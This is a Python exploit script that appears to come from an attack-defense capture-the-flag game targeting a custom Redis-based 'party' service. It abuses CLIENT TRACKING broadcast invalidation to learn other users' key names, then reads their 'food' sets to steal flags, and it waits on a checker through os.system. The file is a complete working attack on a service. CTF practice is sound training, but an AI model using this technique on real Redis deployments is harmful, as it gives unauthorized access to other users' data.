import os
import random
import string
import sys
import traceback

import redis


def random_str(l):
    return ''.join(random.choice(string.ascii_letters) for _ in range(l))


def wait_for_checker_to_retrieve_flags(target):
    """
    In our CI environment, the environment variable "CHECKER_RETRIEVE_CMD" triggers the checker to retrieve flags again
    """
    print('-' * 80)
    print('waiting for checker ...')
    sys.stdout.flush()
    if 'CHECKER_RETRIEVE_CMD' in os.environ:
        os.system(os.environ['CHECKER_RETRIEVE_CMD'] + " 2>&1 | tac | tac | sed 's/SAAR{/SAAR_/'")
    else:
        # Trigger the regular checker script with some parameters (adjust for your own testing)
        os.system(f"PYTHONPATH=../ python3 -u ../checkers/interface.py '{target}' retrieve")
    print('-' * 80)


def exploit(target):
    client = redis.Redis(target, 16379, single_connection_client=True, socket_timeout=3)
    username = random_str(16)
    passwd = random_str(16)
    client.execute_command('NEWUSER', username, passwd)
    print(client.execute_command('AUTH', username, passwd))

    client_id = client.execute_command('CLIENT', 'ID')
    print('CLIENT ID', client_id)

    result = client.execute_command('CLIENT', 'TRACKING', 'on', 'REDIRECT', client_id, 'BCAST', 'PREFIX', 'party:')
    print('CLIENT TRACKING => ', result)
    print('SUBSCRIBE =>', client.execute_command('SUBSCRIBE', '__redis__:invalidate'))

    # Now wait for store or retrieve of new partys
    wait_for_checker_to_retrieve_flags(target)

    client2 = redis.Redis(target, 16379, single_connection_client=True)
    print(client2.execute_command('AUTH', username, passwd))
    try:
        while True:
            resp = client.connection.read_response()
            print('-', resp)
            if len(resp) == 3 and len(resp[2]) == 1 and resp[2][0].startswith(b'party:'):
                party_id = resp[2][0].decode().split(':')[1]
                print('  food:', client2.execute_command('SMEMBERS', f'party:{party_id}:food'))

    except:
        traceback.print_exc()


if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1')
